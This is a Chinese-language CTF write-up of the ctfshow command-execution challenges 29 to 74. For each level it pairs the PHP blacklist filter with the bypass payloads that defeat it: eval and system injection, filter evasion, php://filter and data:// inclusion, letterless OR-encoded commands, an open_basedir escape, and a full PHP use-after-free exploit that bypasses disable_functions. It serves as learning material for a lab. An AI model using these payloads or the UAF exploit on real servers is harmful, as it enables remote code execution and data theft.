命令执行
web 29
命令执行,需要严格的过滤
简单的绕过
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
先看一下有什么东西
?c=System('ls');

然后绕过一下就行
?c=System('cat f*');

hint还有一种解法
?c=echo `nl fl''ag.php`;
利用
echo ``来执行命令
nl命令用来给文件加上行号并输出
web 30
命令执行,需要严格的过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题直接用上一题 hint 的方法
?c=echo `ls`;

?c=echo `cat fla*`;

web 31
命令执行,需要严格的过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这个主要是过滤了空格,绕过一下空格,用 %09 来绕过
?c=echo%09`ls`;

?c=echo%09`tac%09fla*`;

这题的hint给了一个方法,记录一下
show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv():这个是获取数字和货币格式化信息的,这个作用没什么用,主要是这个函数会返回一个关联数组,这个数组的第一个值为.
pos():是current()的别名,获取数组的当前值,也就是.
scandir():列出指定路径中的文件和目录,这里就是当前路径
array_reverse():将数组反转
array(4) { [0]=> string(9) "index.php" [1]=> string(8) "flag.php" [2]=> string(2) ".." [3]=> string(1) "." }
next():将数组中的指针移动一位,也就是1的值,flag.php
show_resource():高亮这个文件

web 32
命令执行,需要严格的过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这个过滤了 echo、``、;、(,把很多php的函数都使用不了
这里学习到了php中一些无需括号就能使用的函数,include、require
include"a.php"
require"b.php"
但是分号这么办呢,这里用的是闭合标签来绕过
include"$_GET[1]"?>
有两种paylad,主要是利用了文件包含的漏洞
在php中,如果语句只有一行结尾可以不用分号
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
?c=include"$_GET[1]"?>&1=php://filter/read=convert.base64-encode/resource=flag.php
或者是利用 php://input
?c=include"$_GET[1]"?>&1=php://input

web 33
命令执行,需要严格的过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了一个 "",尝试用上一题的解法做
一样的
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web 34
命令执行,需要严格的过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了 :
文件包含的还是能用
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web 35
命令执行,需要严格的过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了 < 、= 还是没变
web 36
命令执行,需要严格的过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
加了数字,改一下就行
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web 37
命令执行,需要严格的过滤
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
终于有点不一样的了(bushi
这里有文件包含,可以用伪协议来操作
方法1:
/?c=php://input
方法2:
使用data伪协议data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==base64 加密的就是要使用的命令
web 38
命令执行,需要严格的过滤
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
不能使用一些伪协议了,但是data还能使用
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web 40
命令执行,需要严格的过滤
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以发现他过滤的其实是中文的括号,但是无法读取flag内容
system(ls);

方法1:
用之前的方法成功了show_source(next(array_reverse(scandir(pos(localeconv())))));
方法2:
hint 用的是 session 的方法/?c=session_start();system(session_id());session_start():用来启动 session 会话机制session_id():用来获取 session ID 字符串但是这个方法也是只能用 ls,因为这个 id 也不能用符号


var_dump(current(get_defined_vars()));&a=phpinfo();get_defined_vars():返回由所有已定义变量所组成的数组,这里我们要获取 GET 的变量数组current():这个数组好像是不一定的,但是这里的第一个就是 GET 数组的内容var_dump():打印出来

然后可以用
end()来取出后面的项eval(end(current(get_defined_vars())));&a=phpinfo();

web 41
过滤不严,命令执行
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
看着像无字母rce,但是 ^ 、$ 和 ~ 都被过滤了,好像都不行了,看wp学一手
这里用到的和异或其实挺像的,这里用的是或 |
参考大佬的脚本搓了一个
import re
from urllib.parse import quote
preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
def generate_Dict():
# 生成字典
dict = {}
for i in range(0, 256):
for j in range(0, 256):
if not re.match(preg,chr(i),re.I) and not re.match(preg,chr(j),re.I):
k = i | j
if k in range(32,127):
if not k in dict.keys():
dict[chr(k)] = [quote(chr(i)), quote(chr(j))]
return dict
def generate_payload(dicts,payload):
s1 = ""
s2 = ""
for s in payload:
s1 += dicts[s][0]
s2 += dicts[s][1]
return f'("{s1}"|"{s2}")'
dicts = generate_Dict()
# print(dicts)
a = generate_payload(dicts=dicts,payload="System")
b = generate_payload(dicts=dicts,payload="cat flag.php")
print(a+b)
c=("%60%60%60%60%60%60"|"%13%19%13%14%25%0D")("%60%60%60%20%60%60%60%60.%60%60%60"|"%23%21%14%20%06%2C%21%27.%10%28%10")

web 42
命令执行,需要严格的过滤
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这里命令的结果会被 >/dev/null 抹掉,但是可以通过一些命令分割开来
ls ;
ls ||

或者用 %0a 换行符

web 43
命令执行,需要严格的过滤
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac flag.php||

web 44
命令执行,需要严格的过滤
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
更新了一点
?c=tac f*||

web 45
命令执行,需要严格的过滤
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac%09f*||

web 39
命令执行,需要严格的过滤
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
php://filter php://input 应该都用不了,看wp发现 data:// 还能用
data://text/plain,<?php system('ls')?>
data://text/plain 相当于执行了php语句,后面的 .php 就没用了,被当作 html 输出

web 46
命令执行,需要严格的过滤
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
前面的照用
?c=tac%09fl?g.php||

但是 hint 还有一个解法
nl<fla''g.php||
学到了一个新的知识点
使用
*、? 这种通配符,不能使用< 或<> 只有使用类似fla''g.php才能使用这种空格
web 47
命令执行,需要严格的过滤
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac%09f?ag.php||

web 48
命令执行,需要严格的过滤
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac%09fla''g.php||

web 49
命令执行,需要严格的过滤
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac%09fla''g.php||

web 50
命令执行,需要严格的过滤
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
把 %09 给过滤了
?c=tac<fla''g.php||

web 51
命令执行,需要严格的过滤
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
常用的 tac 被过滤了(悲
?c=nl<fla''g.php||

web 52
命令执行,需要严格的过滤
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
<> 被过滤了,但是 $ 被放出来了,就是使用 $IFS
nl${IFS}fla''g.php||

发现是假flag
发现在根目录还有一个flag
ls$IFS/||

nl$IFS/fla''g||

web 53
命令执行,需要严格的过滤
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
ls 看一眼,发现有一个 readflag 但是好像没什么用

nl${IFS}fla''g.php

直接看就好了
web 54
命令执行,需要严格的过滤
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这里的 nl 也被禁用了,并且不允许 fla''g 这种绕过方法,只能用 f??? 来绕过
学到了一个 vi 命令,是 vim 的旧版,但是可以输出内容
vi${IFS}f???.php

hint 还有一个方法
/bin/?at${IFS}f???.php
这个是直接去找 cat 命令的文件路径 /bin/cat 然后再查看
web 55
命令执行,需要严格的过滤
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这里是把字母过滤了
这里第一个思路是和上一题的 hint 一样的,利用
? 去找命令,这里没有过滤数字,所以base64这种带有数字的就比较好匹配/???/????64 ????.???
第二种之前学过一点,利用临时文件上传来绕过
因为在 php 中,如果进行文件上传,会保存在/tmp/phpxxxxxx中,后面六个字符是随机的大小写字母但是如果只用
/???/????????? 来匹配会匹配到很多东西,但是因为匹配到的别的文件都不会有大写字母,而这个文件会出现,所以将最后一个设置为大写字母/???/????????[@-[] 用[@-[]来表示大写字母同时在 linux 中,使用
.可以进行执行成功执行


web 56
命令执行,需要严格的过滤
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这题就用上一题的临时文件上传就行

web 57
命令执行,需要严格的过滤,已测试,可绕
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
这里不是很会,一开始看到没有过滤 $ 时考虑的是自增运算来绕过,但是 [] 被过滤了,还是不行,看的wp学的
在linux中
使用$(())代表做一次运算,也就是0
$((~$(())))对0做取反,值为-1
$(($((~$(())$((~$(())))))也就是 -1-1,值为-2
$((~$(($((~$(())))$((~$(())))))))对-2取一次反,得到1这里的按位取反有个简单的公式
~x = -(x+1)
所以我们只要利用这个特性,获得36就行,因为代码中已经写好 cat 命令了,


$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web 58
命令执行,突破禁用函数
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
应该是配置了一些安全的设置,让函数不能执行,类似 phpinfo() 和 system() 都不能使用

这题也学到了几个做法
尝试有什么没有被限制,发现
highlight_file可以用highlight_file('flag.php');
还有之前用过的
show_source()也可以用
第二种方法是使用
include()来使用伪协议c=include($_POST["a"]);&a=php://filter/read=convert.base64-encode/resource=flag.php
web 59 - 65
命令执行,突破禁用函数
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
和上一题完全一样,不知道更新了什么
web 66
命令执行,突破禁用函数,求你们别秀了
终于有点不一样了
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
发现flag的位置改变了
print_r(scandir("/"));
这里用这个来读取根目录下有什么
因为 scandir() 返回的是一个数组,所以要用 print_r() 来打印
然后是一样的

web 67
命令执行,突破禁用函数,求你们别秀了
这里的 print_r() 被禁用了
var_dump(scandir("/"));

后面一样了
web 68
命令执行,突破禁用函数,求你们别秀了
这题直接禁用了 highlight_file() 导致页面一打开就报错(
应该用的参数是一样的,show_source() 也被禁用了,但是 include() 还活着,看源码是一样的
c=include($_POST["a"]);&a=php://filter/read=convert.base64-encode/resource=flag.php

后面的都一样,也是去根目录读

web 69 - 70
var_dump() 被禁用了,问ai发现另一个 var_export()
var_export(scandir('/'));

后面就一样用 include()
web 71
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
这里的代码会把输出的字母数字全替换为 ?

但是如果传入 exit(); 就能直接终止后续的操作,就不会影响输出

发现读 flag 其实不用伪协议orz
include('/flag.txt');exit();

web 72
这里发现不能读取根目录的内容,只能读当前目录的东西

学习了一下,这里是被 open_basedir 限制用户访问文件的活动,这里可以使用 glob 伪协议如果,这个查找目录就不会收到限制
hint 中是这么写的
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>
DirectoryIterator("glob:// /*"); 创建一个新的DirectoryIterator 对象,用来遍历目录,glob:///*就是用来匹配路径模式后面的就是全部输出

找到了是 flag0.txt 文件,但是 include() 不能用了,要用 uaf 脚本来命令执行,这个
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
神奇的脚本,找个时间再看(
web 73
命令执行,突破禁用函数,求你们别秀了
这题和前面基本一致
var_export(scandir('/'));exit();


web 74
命令执行,突破禁用函数,求你们别秀了
这题的 scandir() 找不到东西
var_export(glob('/*'));exit();
glob('/*')用来匹配符合指定模式的路径名

参考
[ctfshow Web入门命令执行] web29-55 Writeup - X1r0z Blog


